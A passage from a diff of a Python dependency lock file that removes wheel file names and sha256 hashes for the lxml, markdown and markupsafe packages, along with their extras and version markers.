"lxml-6.0.2-cp313-cp313-win32.whl", hash = "sha256:e8cd2415f372e7e5a789d743d133ae474290a90b9023197fd78f32e2dc6873e2"}, - {file = "lxml-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:b30d46379644fbfc3ab81f8f82ae4de55179414651f110a1514f0b1f8f6cb2d7"}, - {file = "lxml-6.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:13dcecc9946dca97b11b7c40d29fba63b55ab4170d3c0cf8c0c164343b9bfdcf"}, - {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe"}, - {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c"}, - {file = "lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b"}, - {file = "lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed"}, - {file = "lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8"}, - {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d"}, - {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f"}, - {file = "lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312"}, - {file = "lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca"}, - {file = "lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c"}, - {file = "lxml-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a656ca105115f6b766bba324f23a67914d9c728dafec57638e2b92a9dcd76c62"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c54d83a2188a10ebdba573f16bd97135d06c9ef60c3dc495315c7a28c80a263f"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:1ea99340b3c729beea786f78c38f60f4795622f36e305d9c9be402201efdc3b7"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:af85529ae8d2a453feee4c780d9406a5e3b17cee0dd75c18bd31adcd584debc3"}, - {file = "lxml-6.0.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:fe659f6b5d10fb5a17f00a50eb903eb277a71ee35df4615db573c069bcf967ac"}, - {file = "lxml-6.0.2-cp38-cp38-win32.whl", hash = "sha256:5921d924aa5468c939d95c9814fa9f9b5935a6ff4e679e26aaf2951f74043512"}, - {file = "lxml-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:0aa7070978f893954008ab73bb9e3c24a7c56c054e00566a21b553dc18105fca"}, - {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2c8458c2cdd29589a8367c09c8f030f1d202be673f0ca224ec18590b3b9fb694"}, - {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3fee0851639d06276e6b387f1c190eb9d7f06f7f53514e966b26bae46481ec90"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b2142a376b40b6736dfc214fd2902409e9e3857eff554fed2d3c60f097e62a62"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a6b5b39cc7e2998f968f05309e666103b53e2edd01df8dc51b90d734c0825444"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d4aec24d6b72ee457ec665344a29acb2d35937d5192faebe429ea02633151aad"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:b42f4d86b451c2f9d06ffb4f8bbc776e04df3ba070b9fe2657804b1b40277c48"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6cdaefac66e8b8f30e37a9b4768a391e1f8a16a7526d5bc77a7928408ef68e93"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:b738f7e648735714bbb82bdfd030203360cfeab7f6e8a34772b3c8c8b820568c"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:daf42de090d59db025af61ce6bdb2521f0f102ea0e6ea310f13c17610a97da4c"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:66328dabea70b5ba7e53d94aa774b733cf66686535f3bc9250a7aab53a91caaf"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:e237b807d68a61fc3b1e845407e27e5eb8ef69bc93fe8505337c1acb4ee300b6"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:ac02dc29fd397608f8eb15ac1610ae2f2f0154b03f631e6d724d9e2ad4ee2c84"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:817ef43a0c0b4a77bd166dc9a09a555394105ff3374777ad41f453526e37f9cb"}, - {file = "lxml-6.0.2-cp39-cp39-win32.whl", hash = "sha256:bc532422ff26b304cfb62b328826bd995c96154ffd2bac4544f37dbb95ecaa8f"}, - {file = "lxml-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:995e783eb0374c120f528f807443ad5a83a656a8624c467ea73781fc5f8a8304"}, - {file = "lxml-6.0.2-cp39-cp39-win_arm64.whl", hash = "sha256:08b9d5e803c2e4725ae9e8559ee880e5328ed61aa0935244e0515d7d9dbec0aa"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e"}, - {file = "lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62"}, -] - -[package.extras] -cssselect = ["cssselect (>=0.7)"] -html-clean = ["lxml_html_clean"] -html5 = ["html5lib"] -htmlsoup = ["BeautifulSoup4"] - -[[package]] -name = "markdown" -version = "3.9" -description = "Python implementation of John Gruber's Markdown." -optional = false -python-versions = ">=3.9" -groups = ["dev", "docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "markdown-3.9-py3-none-any.whl", hash = "sha256:9f4d91ed810864ea88a6f32c07ba8bee1346c0cc1f6b1f9f6c822f2a9667d280"}, - {file = "markdown-3.9.tar.gz", hash = "sha256:d2900fe1782bd33bdbbd56859defef70c2e78fc46668f8eb9df3128138f2cb6a"}, -] - -[package.dependencies] -importlib-metadata = {version = ">=4.4", markers = "python_version < \"3.10\""} - -[package.extras] -docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python]"] -testing = ["coverage", "pyyaml"] - -[[package]] -name = "markdown" -version = "3.10.2" -description = "Python implementation of John Gruber's Markdown." -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36"}, - {file = "markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950"}, -] - -[package.extras] -docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python] (>=0.28.3)"] -testing = ["coverage", "pyyaml"] - -[[package]] -name = "markupsafe" -version = "3.0.3" -description = "Safely add untrusted strings to HTML/XML markup." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, - {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, - {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, - {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, - {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, - {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, - {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, - {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, - {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, - {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, - {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, - {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, - {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, - {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, - {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, - {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, - {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, - {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, - {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, - {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, - {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, - {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, - {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, - {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, - {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, - {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, - {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, - {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, - {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 